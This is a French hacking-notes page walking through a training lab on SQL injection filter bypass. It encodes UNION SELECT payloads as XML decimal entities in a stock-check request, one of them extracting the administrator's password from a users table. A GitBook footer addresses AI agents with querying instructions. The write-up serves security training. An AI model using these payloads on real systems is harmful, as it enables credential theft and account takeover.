> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# Contournement de filtre d'injection SQL avec encodage XML

### Injection SQL avec contournement de filtre via encodage XML

Ce laboratoire contient une vulnérabilité d’injection SQL dans la fonctionnalité de vérification du stock. Les résultats de la requête sont renvoyés dans la réponse de l’application ; nous pouvons donc utiliser une `UNION` attaque pour récupérer des données d’autres tables. / La base de données contient un `users` table contenant les noms d’utilisateur et les mots de passe des utilisateurs enregistrés. Pour résoudre le laboratoire, effectuez une attaque par injection SQL pour récupérer les ID de l’utilisateur admin, puis connectez-vous à son compte.

Exemples fournis :

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/3e2dff94ece2fc20336b21ee8f3670ea4a25285d" alt=""><figcaption></figcaption></figure>

* Extension Hackvertor — entités décimales

<figure><img src="/files/4d7dce5764f3605480dc07bab46c1f609d2ac706" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="/files/b4638faec0155c462a672a8c4a7bc648598022bc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
